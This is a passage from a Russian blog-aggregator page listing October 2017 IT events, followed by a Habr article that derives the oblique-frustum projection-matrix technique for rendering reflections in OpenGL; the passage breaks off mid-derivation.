              Ощущаете себя лучшим стартапом в Европе? Бывает, но если серьезно: не упустите свой шанс доказать это международной экспертной комиссии и получить миллион на развитие. В ходе русского этапа Seedstars World будут отобраны 10 финалистов, которые отправятся в Швейцарию на заключительный этап, бороться за приз и мировую славу. К участию приглашаются стратапы из сфер AgriTech, IoT, EdTech, FinTech, TravelTech, HealthTech, AdTech не старше двух лет, с объемом инвестиций не более 500 000 $ и обязательным наличием MVP.

              Найти IT

              Когда: 14 октября
              Где: Санкт-Петербург, набережная Обводного канала, 60, креативное пространство «ТКАЧИ»
              Условия участия: бесплатно

              Отличная возможность для разработчиков культурной столицы, заинтересованных в новых карьерных возможностях, людей посмотреть, себя показать и между делом поиграть с роботами. На площадке будут присутствовать представители ведущих отечественных IT-компаний, которые будут рады рассказать о вакансиях и стажировках и оценить ваши компетенции. Помимо общения с возможными работодателями посетители могут принять участие в бесплатных лекциях и мастер-классах, посетить game зону и выставку робототехники.

              Курсы «Базы данных. SQL. Junior», «Разработка кроссплатформенных мобильных приложений», «Разработка highload приложений на PHP»

              Когда: 16-31 октября
              Где: Ижевск, ул. 30 лет Победы, 2
              Условия участия: бесплатно, требуется регистрация

              В октябре в рамках проекта IT Univer в Ижевске планируется три курса для студентов и начинающих программистов, которые хотят получить прикладные знания и глубже вникнуть в выбранную сферу. Подробная информация об организаторах и программе каждого представлена на странице проекта.

              Cloud Services Russia 2017

              Когда: 17 октября
              Где: Москва, ул. Тверская, д. 26/1, отель «Марриотт Москва Гранд Отель»
              Условия участия: 13 500 руб.

              Облачное хранение данных — тема неиссякаемая, что доказывает и очередная тематическая конференция от COMNEWS. Дискуссия будет вращаться вокруг последних тенденций на рынке, умного хранения данных в свете новых разработок в области искусственного интеллекта и Интернета вещей, совмещения частных и публичных сред и вытекающих вопросов безопасности, специфики применения облака в ПО. Также будут рассмотрены некоторые одобренные экспертами решения и технологии, приведены случаи из практики успешных компаний.

              DevOops

              Когда: 20 октября
              Где: Санкт-Петербург, ул. Стартовая, 6, литера А
              Условия участия: от 14 000 руб.

              Первая конференция, целиком и полностью сосредоточенная на DevOps и всем том, что он привносит в нашу жизнь. В частности: оркестрация, виртуализация, мониторинг и аудит приложений, секрьюти. Разделенные по трем трэкам, выступления будут объединять широкую проблематику с решением частных проблем, а теорию — с реальными кейсами. Общение с русскими и зарубежными экспертами продолжится в специально оборудованных дискуссионных зонах.



              SECR 2017

              Когда: 20-22 октября
              Где: Санкт-Петербург, пр. Медиков, 3, к.1, Конгресс-центр ClubHouse
              Условия участия: от 17 250 руб.

              Конференция «полного цикла» для команд, работающих над ПО — освещение получат практически все аспекты процесса создания и выпуска на рынок IT-продукта. Выступления и мастер-классы от русских и зарубежных представителей действительно авторитетных компаний разбиты на три дня и пять потоков и покрывают все от собственно разработки, тестирования и UX дизайна до DevOps и управления проектами.

              SmartData

              Когда: 21 октября
              Где: Санкт-Петербург, ул. Стартовая, д. 6 литера А
              Условия участия: 14 000 руб.

              Октябрь в сфере IT оказался урожаен на и большие данные — встречайте еще одну конференцию на эту тему. SmartData предлагает взглянуть на big data как на уже сложившуюся, зрелую индустрию и проследить, как наработанный стек решений справляется с реальными задачами, насколько сейчас актуальны те или иные технологии.

              Russian Вlockchain Week

              Когда: 26-27 октября
              Где: Москва, Стремянный пер., 36
              Условия участия: 18 000 руб. (23 после 28.09)

              Три дня блокчейна в самых разных проявлениях: здесь будут доклады от трех десятков экспертов со всего света, шоу и выставка, на которых представят свои проекты пятьдесят молодых команд, открытые для сотрудничества инвесторы и поставщики и вечеринка Blockchain.Night как завершающий аккорд в неформальной обстановке. Круг тем знакомый — криптовалюты, майнинг, ICO, законодательство.



              MBLTdev 2017

              Когда: 27 октября
              Где: Москва, Берсеневская наб. 6, строение 3
              Условия участия: 7 500 руб.

              То, чего, вероятно, ждали все мобильные разработчики — общий сбор специалистов, от столичных до экспортированных ради такого случая из Кремниевой долины, для обсуждения последних трендов и вечных проблем разработки на iOS и Android. В темах фигурируют AR, архитектура, инструменты разработки, производительность и скорость, а также викторины и прочие интригующие мероприятия.

              Workshop. IoT

              Когда: 28 октября
              Где: Москва, Берсеневская набережная, 6, стр.3
              Условия участия: 14 500 руб.

              Если вы еще не работали с интернетом вещей, ваш час настал. Воркшоп от Digital October в течение одного рабочего дня обещает не только заложить слушателям солидную теоретическую базу, но и провести их через процесс создания собственного IoT решения с облачной инфраструктурой. Этот курс будет полезен как разработчикам, которые хотят отработать новый навык под руководством опытного наставника, так и всем, кто просто заинтересован в лучшем понимании технологии и перспектив ее применения. Наконец, в качестве иллюстративного материала будет представлена мини-пивоварня, что, безусловно, говорит в пользу мероприятия.

              HackDay в Пензе

              Когда: 27-29 октября
              Где: Пенза, ул. Гагарина, 6
              Условия участия: 256 руб.

              Классический 48-часовой хакатон для жителей Пензы. С организаторов: оборудование для прототипирования физических вещей, эксперты-менторы, горячее питание и перекусы, рабочее пространство. С вас: чисто символический взнос, работоспособность, ноутбук, спальник, идея проекта и, опционально, команда. Награждение будет проходить в четырех номинациях (tech, hack,hardware, startup) и завершится вручением призов.

              IV международная выставка-конференция «Интернет вещей»

              Когда: 31 октября — 1 ноября
              Где: Москва, КВЦ Сокольники, павильон 7-А
              Условия участия: 10 000 руб.

              И еще одна конференция о нашумевших технологиях Интернета вещей, их применимости и преимуществах. Первый день отдан разбору существующих решений, как ПО, так и «железа» — их достоинствах, недостатках и потенциале в различных сферах. Во второй специалисты расскажут об опыте внедрения Industrial IoT и LifeStyle IoT разработок в рабочий процесс. В программе завялены доклады от таких игроков, как SAP, ФРИИ, DZ Systems, «Астрософт», Kaspersky Lab, KNX, Ассоциация Интернета вещей и другие.
              Original source: habrahabr.ru (comments, light).

              https://habrahabr.ru/post/338730/


              Метки:  

              Oblique frustum. Внутри скошенной пирамиды видимости

              Вторник, 26 Сентября 2017 г. 18:34 + в цитатник
              nailer вчера в 18:34 Разработка

              Oblique frustum. Внутри скошенной пирамиды видимости

                Нижеизложенный материал, вероятно, знаком, или даже хорошо известен, программистам, имевшим опыт работы с OpenGL, между тем, я счел уместным напомнить о модели oblique frustum, отчасти наблюдая (и разделяя) интерес читателей Хабра к вопросам OpenGL и в целом трёхмерного моделирования, отчасти из несогласия с позицией некоторых разработчиков вроде «…чтобы это использовать, вовсе не обязательно разбираться в том, как работает матрица проекции», отчасти из уважения и благодарности к Эрику Ленгелу|Eric Lengyel, изобретательная мысль которого обогатила приемы работы в среде OpenGL.

                Если в моделируемых вами сценах присутствуют зеркальные отражения, и вы подзабыли или не слышали про «oblique frustum», то возможно, что эта статья не будет для вас бесполезной.

                Несмотря на то, что я, вслед за Эриком Ленгелом, более придерживался при изложении материала представлений OpenGL, все последующие рассуждения легко распространяются на любые другие системы трёхмерного моделирования.

                Reflections

                Отражения в 3D–сценах


                В случае, когда в 3D-сценах присутствуют отражающие поверхности, обычная практика получения отражения заключается в рендеринге сцены с использованием вспомогательной камеры вида, которая сама является отражением основной камеры вида плоскостью отражающей поверхности.

                arbitrary camera


                Рис. 1. Верхняя камера является основной камерой, через которую происходит рендеринг сцены, содержащей отражающую поверхность. Нижняя камера является вспомогательной камерой, предназначенной для рендеринга отражения. Ось X направлена к наблюдателю для обеих пирамид видимости (в принятых для OpenGL представлениях), и очевидно, что координатная система для камеры, осуществляющей рендеринг отражения, является левосторонней.

                При рендеринге отражения вспомогательной камерой (камерой отражения), может оказаться, что часть объектов, расположенных между наблюдателем и отражающей поверхностью, оказывается в результирующем рендере, образуя нежелательные артефакты в изображении. Чтобы отсечь нежелательную часть отраженной сцены с финального рендера, программист ограничивает наблюдаемую из камеры отражения часть объема трёхмерной сцены воображаемой поверхностью, используя различные приемы для того, чтобы прервать визуализацию сцены за границей этой поверхности.

                Можно воспользоваться инструкцией „discard” для фрагментного шейдера или ей подобными, специфическими для отдельных реализаций рендеринга в общей идеологии 3D–моделирования ( например „kill” в AGALMiniAssembler), однако, если нам желательно решение универсальное, одинаково хорошо работающее на любом процессоре, то стоит обратить внимание на технику, предложеную Эриком Ленгелом.

                Идея Эрика Ленгела заключалась в том, чтобы модифицировать проекционную матрицу таким способом, чтобы ближний план пирамиды видимости стал как раз своего рода секущей плоскостью, отделяющей нежелательный в конечном рендере объем основной сцены.

                Для дальнейшего уместно напомнить элементарные представления аналитической геометрии.

                Плоскость в пространстве


                Для удобства изложения, будем придерживаться следующих обозначений:

                \begin{center}
\begin{array}{|rlc}
\textbf{для точек и векторов:} & \vec{A}, \vec{P}\\
\multicolumn{2}{|l}{\textit{отличая их }\mathit{w} \textit{-координатой в однородном представлении,}}\\
\multicolumn{2}{|l}{\textit{координатную запись заключаем в угловые скобки }\langle ,,, \rangle}\\[0.3em]
\textbf{для матриц:} & \mathbf{M}, \mathbf{P} \\
\textbf{транспонированная матрица:} &\mathbf{M}^\mathrm{T} \\
\textbf{обратная матрица:} & \mathbf{M}^{-1} \\
\textbf{знак } x:  & sgn(x) =
  \begin{cases}
    1,       & \quad \text{if } x>0\\
    0,       & \quad \text{if } x=0\\
    -1,  & \quad \text{if } x<0
  \end{cases}\\
\textbf{длина вектора:} & \|\vec{P}\| \\
\textbf{скалярное произведение векторов:} & \vec{Q}\cdot\vec{P} \\
\end{array}
\end{center}

                Плоскость


                Для любой пространственной 3D-точки \vec{P} и вектора \vec{N}, совокупность 3D-точек \vec{Q}, отличных от \vec{P}, удовлетворяющих уравнению \vec{N}\cdot(\vec{Q}-\vec{P}) определяет плоскость, при этом точка \vec{P} является одной из принадлежащих этой плоскости точек, а вектор \vec{N} является её вектором нормали.

                Plane

                Рис. 2. Плоскость полностью определяется принадлежащей ей точкой \vec{P} и нормаль-вектором \vec{N}.

                Уравнение плоскости часто записывается следующим выражением:

                Ax+By+Cz+D=0,

                где \mathit{A, B} и \mathit{C} есть \mathit{x, y, z} компоненты нормального вектора \vec{N}, причем D=-\vec{N}\cdot\vec{P}. Значение |D|/\|\vec{N}\| равно расстоянию до плоскости от начала координат (помним, что компоненты нормального вектора, деленные на его длину, есть направляющие косинусы единичного вектора нормали плоскости).

                В случае нормализованного вектора нормали, выражение

                d=\vec{N}\cdot\vec{Q}+D,

                может быть использовано, для нахождения расстояния от плоскости до произвольной точки \vec{Q}. Если d=0, \vec{Q} лежит в плоскости. В случае, если d>0, точка \vec{Q} находится с положительной стороны плоскости, т.е. со стороны нормального вектора плоскости, при d<0, точка \vec{Q} располагается в стороне от плоскости, в направлении противоположном направлению нормального вектора плоскости \vec{N}.
                Удобно записать плоскость четырехмерным вектором. Коротко уравнение плоскости запишется так: \langle \vec{N}, D \rangle. Очевидно, что для произвольной точки \vec{Q}, имеющей в однородных 4-хмерных координатах \mathit{w}-координату равную 1, Выражение (2) может быть переписано как d=\vec{L}\cdot\vec{Q}, где \vec{L}=\langle \vec{N}, D \rangle и точка \vec{Q} лежит в плоскости, если \vec{L}\cdot\vec{Q}=0.

                Преобразование плоскости


                Для понимания особенности пространственного преобразования плоскости, потребуется некоторое внимание уделить преобразованию нормального вектора. При пространственном преобразовании полигональной модели, вектора касательные к поверхности полигонов и вектора нормальные ведут себя неодинаково. Вектор касательный часто можно представить как разницу между двумя преобразованными вершинами, т.е. между двумя естественным образом преобразованными точками, и, вследствие этого, характер преобразованного вектора совпадает с нашими ожиданиями. Но, в общем случае пространственного преобразования, матрица \mathbf{M} которого не является ортогональной, прямое применение матрицы преобразования к нормальному вектору приведет к тому, что этот вектор перестанет быть нормальным – перпендикулярным к поверхности полигона.

                Поскольку вектор касательный \vec{T} и вектор нормальный \vec{N}, принадлежащие одному полигону, должны оставаться перпендикулярными, для скалярного произведения преобразованных векторов \vec{T}{^'} и \vec{N}{^'} должно выполняться то же условие что и для исходных векторов: \vec{T}{^'}\cdot\vec{N}{^'}=0. Совершим несколько простых алгебраических операций, чтобы прояснить природу нормального вектора:

                если \mathbf{M} – 3х3-матрица трансформации пространства (для случая касательного и нормального векторов пространственные перемещения несущественны), и \vec{T}{^'}=\mathbf{M}\vec{T}, то зададимся целью найти матрицу преобразования \mathbf{G} для \vec{N}, такую, чтобы выполнялось

                \vec{N}{^'}\cdot\vec{T}{^'}=(\mathbf{G}\vec{N})\cdot(\mathbf{M}\vec{T})=0,

                вспомним, что умножение векторов можно записать и следующим образом (совершенно равнозначным):

                (\mathbf{G}\vec{N})\cdot(\mathbf{M}\vec{T})=(\mathbf{G}\vec{N})^\mathrm{T}(\mathbf{M}\vec{T})=\vec{N}^\mathrm{T}\mathbf{G}^\mathrm{T}\mathbf{M}\vec{T},

                Поскольку \vec{N}^\mathrm{T}\vec{T}=0, выражение \vec{N}^\mathrm{T}\mathbf{G}^\mathrm{T}\mathbf{M}\vec{T}=0 выполняется, если \mathbf{G}^\mathrm{T}\mathbf{M}=\mathbf{I}, где \mathbf{I} – единичная матрица. Из чего следует, что \mathbf{G}=(\mathbf{M}^{-1})^\mathrm{T}. Вектор, трансформация которого происходит подобным образом (посредством транспонированной обратной матрицы преобразования), является вектором ковариантным, тогда как вектор, трансформирующийся подобно вектору касательному, является вектором контравариантным.

                Однако, плоскость в однородных координатах, в отличие от нормального вектора, имеет ненулевую \mathit{w}-координату, и следует дополнительно исследовать её поведение при 4х4-преобразованиях.

                Расстояние до плоскости от начала координат, после применения пространственного преобразования, с учетом особенностей преобразования нормального вектора, для лежащей в этой плоскости точки \vec{P}, через знакомое скалярное произведение:

                \begin{array}{l}D{^'}= -((\mathbf{M}{^{-1}})^\mathrm{T}\vec{N})\cdot(\mathbf{M}\vec{P}+\vec{T})\\  
\qquad {}=-((\mathbf{M}^{-1})^\mathrm{T}\vec{N})^\mathrm{T}\mathbf{M}\vec{P}-((\mathbf{M}^{-1})^\mathrm{T}\vec{N})^\mathrm{T}\vec{T}\\
\qquad {}=-\vec{N}^\mathrm{T}\mathbf{M}^{-1}\mathbf{M}\vec{P}-\vec{N}^\mathrm{T}\mathbf{M}^{-1}\vec{T}\\
\qquad{}=D -\vec{N}\cdot\mathbf{M}^{-1}\vec{T},\end{array}

                Мы воспользовались в данных вычислениях матрицей преобразования \mathbf{F}, дополненной к операциям поворота, масштабирования и скоса операцией сдвига:

                \mathbf{F}=\left[\:\;
\begin{matrix}
\quad{} &\quad{}  &\vline &\quad{}\\
 \quad{} &\mathbf{M}\quad{} &\vline  &  \vec{T} \\
\quad{} &\quad{}  &\vline &\quad{}\\
\hline
 \quad{} &0\quad{} &\vline & 1
\end{matrix}\:\;\right]
=\left[\:\;
\begin{matrix}
M_{11} &M_{12} &M_{13}  &\vline \,&T_x\\
M_{21} &M_{22} &M_{23}  &\vline \,&T_y\\
M_{31} &M_{32} &M_{33}  &\vline \,&T_z\\
\hline
0 &0 &0 &\vline \,&1\\
\end{matrix}\:\;\right],

                Матрица обратного преобразования к матрице \mathbf{F} ищется обычным алгоритмом обращения матриц:

                \mathbf{F}^{-1}=\left[\:\;
\begin{matrix}
\quad{} &\quad{}  &\vline &\quad{}\\
 \quad{} &\mathbf{M}^{-1}\quad{} &\vline  &-\mathbf{M}^{-1}\vec{T} \\
\quad{} &\quad{}  &\vline &\quad{}\\
\hline
 \quad{} &0\quad{} &\vline & 1
\end{matrix}\:\;\right]
=\left[\:\;
\begin{matrix}
M_{11}^{-1} &M_{12}^{-1} &M_{13}^{-1}  &\vline \,&-\mathbf{M}^{-1}T_x\\
M_{21}^{-1} &M_{22}^{-1} &M_{23}^{-1}  &\vline \,&-\mathbf{M}^{-1}T_y\\
M_{31}^{-1} &M_{32}^{-1} &M_{33}^{-1}  &\vline \,&-\mathbf{M}^{-1}T_z\\
\hline
0 &0 &0 &\vline \,&1\\
\end{matrix}\:\;\right],

                Транспонируем обратную матрицу:

                {\left(\mathbf{F}^{-1}\right)^\mathrm{T}}=\left[\:\;
\begin{matrix}
\quad{} &\quad{}  &\vline &\quad{}\\
 \quad{} &{\left(\mathbf{M}^{-1}\right){}^\mathrm{T}}\quad{} &\vline  &0 \\
\quad{} &\quad{}  &\vline &\quad{}\\
\hline
 \quad{} &-\mathbf{M}^{-1}\vec{T}\quad{} &\vline & 1
\end{matrix}\:\;\right],

                Можем видеть, что D -\vec{N}\cdot\mathbf{M}^{-1}\vec{T} из Выражения (5) есть результат умножения четвёртой строки транспонированной обратной матрицы преобразования на четырёхмерный вектор в однородной координатной записи \langle N_x, N_y, N_z, D \rangle, т.е. для плоскости \vec{C}=\langle \vec{N}, D\rangle, её образ при пространственной трансформации, описываемой 4х4 матрицей превращения \mathbf{F}, выражается:

                \vec{C}{^'}={\left(\mathbf{F}^{-1}\right){}^\mathrm{T}}\vec{C}.

                Для дальнейшего существенно, что плоскость подчиняется ковариантному характеру пространственного преобразования.

                Перспективная проекция


                Перспективное проецирование применяется, чтобы создать у наблюдателя ощущение глубины на проекционном плане, матрица перспективного преобразования должна отобразить пространство пирамиды видимости в нормализованное пространство куба видимости. Пирамида видимости обычно может быть выражена через термины top, bottom, left, right, far, near или fovy, aspect, near, far, некоторые реализации OpenGL имеют среди своих инструментов средства работы как для правосторонней так и для левой координатных систем. Отличия и порядок умножения матрицы на вектор в каждой из систем, должны быть ясны любому программисту.
                frustum


                Рис. 3. Усеченная пирамида видимости (frustum) в системах компьютерной графики отсекает зону видимости, для целей последующего рендеринга, с боков и вдоль осей проецирования. Пирамида видимости, в пространстве камеры вида, располагается в правосторонней системе координат так, что вершина пирамиды лежит в центре координатной системы, а направление вида из камеры противоположно оси z, ближний план находится на удалении n вдоль отрицательного направления оси z, дальний план – на удалении f вдоль отрицательного направления оси z.

                В общем случае, пирамида видимости не обязана иметь форму правильной усеченной пирамиды, она может быть и асимметричной, поэтому модель с top, bottom, left, right, far, near является более подходящей для иллюстраций особенностей oblique frustum («скошенной пирамиды видимости»). «Сжатое пространство» куба видимости, замкнутое в объёме, ограниченном плоскостями x=\pm 1, y=\pm 1, z=\pm 1, для единообразия с англоязычной терминологией будем в дальнейшем называть пространством клипа.
                Чтобы организовать задуманное нами отсечение части объектов в исходной пирамиде видимости, нам потребуется модифицировать применяемую в нашей модели матрицу перспективной проекции. Параметры таковой матрицы программисты OpenGL могут найти на сайте основной документации по OpenGL, программисты на Flash (AS3), вероятнее всего обратятся к классу PerspectiveMatrix3D, программисты Direct3D имеют свои источники, пишущие для андроида найдут всё необходимое в классе android.opengl.Matrix, и т.д. Не исключено, что кто-то, поняв основную идею, предпочтет расширить свой собственный класс перспективного преобразования дополнительной функциональностью.

                Точка из пространства пирамиды видимости камеры вида отображается в пространство клипа канонического куба, например, следующим 4х4-матричным преобразованием (воспользуемся матрицей перспективного преобразования генерируемой glFrustum()-функцией OpenGL):

                \vec{P}{^'}=\mathbf{M}_{frustum}\vec{P}= \begin{bmatrix}
\frac{2n}{r-l} &0 &\frac{r+l}{r-l} & 0\\[0.3em]
0 &\frac{2n}{t-b} &\frac{t+b}{t-b} &0 \\[0.3em]
0 & 0 &-\frac{f+n}{f-n} &-\frac{2nf}{f-n}\\[0.3em]
0 &0 &-1 & 0
\end{bmatrix}\!\!\begin{bmatrix}
P_x\\
P_y\\
P_z\\
1
\end{bmatrix}.

                При таком преобразовании, \mathit{w}-координата преобразованной точки в однородном пространстве клипа имеет знак противоположный знаку \mathit{z}-координаты точки в пространстве камеры вида.

                Особенности искажения пространства стандартной матрицей преобразования видны из Рис.4:
                \mathit{z}-координата из пространства пирамиды видимости отражается в диапазон [-1, 1] NDC, причём бесконечный диапазон за дальним планом пирамиды видимости из камеры вида сжимается в конечный промежуток \left[1, \tfrac{f+n}{f-n}\right] внутри NDC; конечное расстояние от камеры до ближнего плана вдоль оси Z расширяется до бесконечного промежутка ]{-\infty}, -1] NDC; а точки вдоль оси Z, находящиеся до камеры, отражаются в диапазон \left[ \tfrac{f+n}{f-n}, \infty\right[.

                Normalized Device Coordinates


                Рис. 4. Отражение \mathit{z}-координаты точки из пространства камеры вида в пространство нормализованных координат устройства (NDC — normalized device coordinates).

                Заменяя ближний план пирамиды видимости плоскостью отсечения, мы должны сохранить основные особенности матрицы перспективного преобразования, \mathit{z}-координата точки, лежащей на модифицированном ближнем плане, в нормализованных координатах устройства (NDC) должна остаться равной -1. Все дальнейшие наблюдения являются универсальными для любых обратимых проекционных матриц, и использование матрицы проекции из Выражения (10) служит лишь целям иллюстрации общего процесса модификации матрицы преобразования.

                Если \vec{C}{^'} является одной из плоскостей, ограничивающих пространство клипа, и при этом матрица преобразования \mathbf{M} является матрицей проекции из пространства камеры в пространство клипа, то не сложно осуществить отображение этой плоскости \vec{C}{^'} в пространство камеры из пространства клипа посредством транспонированной матрицы \mathbf{M}^\mathrm{T}, что очевидно следует из Выражения (9):

                \vec{C}=\left[\left(\mathbf{M}^{-1}\right){}^{-1}\right]{}^\mathrm{T}\vec{C}{^'}=\mathbf{M}^\mathrm{T}\vec{C}{^'}

                Модифицирование ближнего плана пирамиды видимости


                Для начала, извлечем из произвольной проекционной матрицы \mathbf{M} четырехмерные векторы, соответствующие шести плоскостям отсечения пирамиды видимости. Эрик Ленгел исходил из того, что плоскости в пространстве клипа всегда неизменны: нормаль любой плоскости параллельна одной из главных координатных осей.

                На Рис.5 показаны элементы «x-z» трёхмерного среза четырехмерного однородного пространства клипа. Внутри этого среза \mathit{w}-координата любой точки равна 1, таким образом, и \mathit{w}-координата каждой плоскости равна 1, и, разумеется, одна из x-,y-, или z-координат равна ±1, что отражено в Таблице 1. Для понимания Таблицы 1 надо ещё раз внимательно посмотреть на Выражение (11): сумма некоторых двух столбцов матрицы \mathbf{M}^\mathrm{T} не что иное, как сумма соответствующих двух строк матрицы \mathbf{M}.

                slice of homogeneous clip space


                Рис. 5. Нормальные векторы для левой, правой, ближней и дальней плоскостей, ограничивающих однородное кубическое пространство клипа. Нормальные векторы для верхней и нижней плоскостей пространства клипа направлены от и к наблюдателю.

                Табл. 1. Взаимосвязь между координатами пространства клипа и пространства усеченной пирамиды видимости камеры вида. Матрица проекции \mathbf{M} переводит пространство камеры вида в пространство клипа, и обозначение \mathbf{M}_i представляет i-ую строку матрицы \mathbf{M}.
                \begin{center}
\begin{array}{rcc}
\hline
\textbf{Frustum plane} & \textbf{Clip-space} & \textbf{Camera-space} \\
\hline
\text{Near}\qquad{} & \langle 0, 0, 1,1\rangle &\vec{M}_4 + \vec{M}_3 \\
\text{Far}\qquad{} & \langle 0, 0, -1,1\rangle & \vec{M}_4 - \vec{M}_3 \\
\text{Left}\qquad{} & \langle 1, 0, 0,1\rangle &\vec{M}_4 + \vec{M}_1 \\
\text{Right}\qquad{} & \langle -1, 0, 0,1\rangle &\vec{M}_4 - \vec{M}_1 \\
\text{Bottom}\qquad{} & \langle 0, 1, 0,1\rangle &\vec{M}_4 + \vec{M}_2 \\
\text{Top}\qquad{} & \langle 0, -1, 0,1\rangle &\vec{M}_4 - \vec{M}_2 \\
\hline
\end{array}
\end{center}

                Пусть \vec{C}=\langle C_x, C_y, C_z, C_w\rangle – некоторая плоскость, показанная ни Рис. 6, в координатном пространстве камеры вида, посредством которой мы и намереваемся ограничить нашу геометрию. Камера располагается с отрицательной стороны плоскости (со стороны противоположной направлению вектора плоскости), поэтому C_w<0. Именно этой плоскостью мы намерены заменить ближний план пирамиды видимости, поэтому, в соответствии с соотношениями из Таблицы 1, для \vec{C} должно выполняться:

                \vec{C}=\vec{M}_4+\vec{M}_3.

                Мы не можем модифицировать четвертую строку матрицы перспективной проекции, т.к. она используется для отражения отрицательной z-координаты в w-координату, и необходима для дальнейшей корректной работы графического конвеера. Однако, со вторым слагаемым правой части Выражения (12) мы можем поступать более свободно:

                \vec{M}_3{^'}=\vec{C}-\vec{M}_4.

                cut clip space

                Рис. 6. Замена ближнего плана пирамиды видимости плоскостью \vec{C}.

                Поскольку, согласно Таблицы 1, третья строка матрицы проекции входит в состав выражения для дальнего плана пирамиды видимости, то очевидно, что её модифицирование необходимо учесть для дальнего плана:

                \begin{array}{|c|}\hline
\;\\
\vec{F}=\vec{M}_4-\vec{M}_3^'}\;\\[0.3em]   
\qquad {}=2\vec{M}_4-\vec{C}\;\\[1em]
\hline \end{array}\:.

                И этот результат являет собой заметную проблему для перспективной проекции: поскольку \vec{M}_4=\langle0, 0, -1, 0 \rangle, то дальний план и ближний план пирамиды видимости перестают быть параллельными, в случае отличных от нуля значений для C_x и C_y. Более того, форма усеченной пирамиды приобретает вид крайне нежелательный в последующем рендеринге: рассмотрим некоторую точку \vec{P}=\langle x, y, 0, w \rangle, для которой выполняется \vec{C}\cdot\vec{P}=0, и это влечет за собой равенство нулю и \vec{F}\cdot\vec{P}, из чего мы должны заключить, что наши новые ближний и дальний планы пересекутся образом подобным показанному на Рис. 7 (а).

                Проекция глубины точки, ранее достигавшая максимума на дальнем плане, и необходимая нам для процесса графической растеризации, более не представляет собой проекцию вдоль оси z, а скорее, становится значением, зависящим от положения между ближним и дальним планами. Зависимость глубины проекции от направления внутри пирамиды видимости серьезнейшим образом скажется на правильности значений буфера глубины. Однако, этот нежелательный эффект, можно снизить до приемлимого для задачи растеризации уровня, уменьшив угол между ближним и дальним планами до минимально возможного. Как и всякую плоскость, плоскость \vec{C} можно масштабировать, и это её свойство как нельзя кстати в нашем случае. Масштабирование плоскости \vec{C} скажется на ориентации дальнего плана \vec{F}, так что нам требуется лишь подобрать коэффициент масштабирования таким образом, чтобы минимизировать угол между \vec{C} и \vec{F} без ущерба для содержания сцены внутри пирамиды видимости как показано на Рис. 7 (b).
                modified far plane

                Рис. 7. (а) Пересечение измененного в соответствии с Выражением (14) дальнего плана \vec{F} с модифицированным ближним планом \vec{C} в «x-y»-плоскости. (b) Масштабирование ближнего плана \vec{C} параметром \alpha, введенным Выражением (17) изменяет угол между дальним и ближним планом до минимально возможного, не повреждая при этом начального вида усечения. Затененная область относится к объему пространства, не подвергнутого усечению.

                Пусть \vec{C}{^'}=\left(\mathbf{M}^{-1}\right){}^\mathrm{T}\vec{C} является проекцией нового ближнего плана в пространстве клипа (\mathbf{M} – исходная матрица проекции). Угол \vec{Q}^' внутри пирамиды видимости, лежащий напротив плоскости \vec{C}, будет иметь следующие координаты:

                \vec{Q}{^'}=\langle sgn(C{^'} _x), sgn(C{^'} _y), 1, 1\rangle.

                Для большинства перспективных проекций, знаки компонент C{^'} _x и C{^'} _y у преобразованных плоскостей совпадут со знаками соответствующих компонент C _x и C _y, что нам позволяет воспользоваться знаками координатного разложения исходной плоскости.
                Имея компоненты преобразованного угла \vec{Q}{^'}, мы уже можем вычислить компоненты оригинального угла \vec{Q}, лежащего напротив плоскости \vec{C}, как \vec{Q}=\mathbf{M}{^{-1}}\vec{Q}{^'}. В обычной пирамиде видимости, точка \vec{Q} в вершине угла, образованного пересечением двух боковых плоскостей и дальнего плана, лежащая напротив плоскости \vec{C}, является наиболее удаленной от плоскости \vec{C} точкой.

                Чтобы наш дальний план содержал точку \vec{Q}, должно выполняться условие \vec{F}\cdot\vec{Q}=0, дополним Выражение (14) масштабирующим плоскость \vec{C} фактором \alpha

                \vec{F}=2\vec{M}_4-\alpha\vec{C}

                и найдем из условия \vec{F}\cdot\vec{Q}=0 масштабирующий фактор:

                \alpha=\frac{2\vec{M}_4\cdot\vec{Q}}{\vec{C}\cdot\vec{Q}.

                Замена \vec{C} на \alpha\vec{C} в Выражении (13)

                \vec{M}_3{^'}=\alpha\vec{C}-\vec{M}_4

                и позволит нам оптимальным образом сориентировать дальний план пирамиды видимости, как показано на Рис. 7 (b) (данная техника замещения работает корректно и для пирамиды видимости, дальний план которой удален на бесконечность,– случай бесконечной проекционной матрицы,– для этого достаточно потребовать, чтобы дальний план был параллелен одной из двух образующих противоположный плоскости \vec{C} угол граней).

                Практическое использование произведенных выше наблюдений


                Все ранее проделанные теоретические изыскания распространяются на любые обратимые проекционные матрицы, но, поскольку, в качестве примера уже привлекалась стандартная для OpenGL матрица в Выражении (10), то логично продолжить цепочку примеров с нею же.

                Обратная матрица к ней будет выглядеть таким образом:

                \mathbf{M}{^{-1}}= \begin{bmatrix}
\frac{r-l}{2n} &0  & 0 &\frac{r+l}{2n}\\[0.3em]
0 &\frac{t-b}{2n}  &0 &\frac{t+b}{2n}\\[0.3em]
0 & 0 &0 &-1\\[0.3em]
0 &0 &-\frac{f-n}{2nf} & \frac{f+n}{2nf}
\end{bmatrix}

                Получим значение для третьей строки модифицированной проекционной матрицы, как предложено Выражением (18) с учетом \alpha из Выражения (17):

                \vec{M}_3{^'}={\frac{2\vec{M}_4\cdot\vec{Q}}{\vec{C}\cdot\vec{Q}} \vec{C}-\vec{M}_4

                Поскольку \vec{M}_4=\langle 0, 0, -1, 0\rangle, то это выражение можно записать как

                \vec{M}_3{^'}={\frac{-2Q_z}{\vec{C}\cdot\vec{Q}} \vec{C}+\langle 0, 0, 1, 0\rangle

                Умножив обратную матрицу из Выражения (19) на \vec{Q}{^'} из Выражения (15), мы получим \vec{Q}:

                \vec{Q}=\begin{bmatrix}
sgn(C_x)\frac{r-l}{2n}+\frac{r+l}{2n}\\[0.5em]
sgn(C_x)\frac{t-b}{2n}+\frac{t+b}{2n}\\[0.5em]
-1\\[0.3em]
1/f
\end{bmatrix}

                Чтобы убедиться в правильности разработанного метода модифицирования проекционной матрицы, рассмотрим частный случай расположения плоскости отсечения \vec{C} перпендикулярно оси z, т.е. параллельно обычному ближнему плану пирамиды видимости,— в координатной записи такая плоскость будет выглядеть как \vec{C}=\langle 0, 0, -1, -d \rangle, где d-некоторая положительная дистанция. Естественно ожидать, что в новой проекционной матрице для пирамиды видимости, ближний план которой удалён на расстояние d от камеры, дальний план останется в своей прежней позиции.

                Скалярное произведение \vec{C}\cdot\vec{Q} для такой плоскости будет равно 1-d/f, а Выражение (21) для вычисления третьей строки модифицированной матрицы проекции приведет к

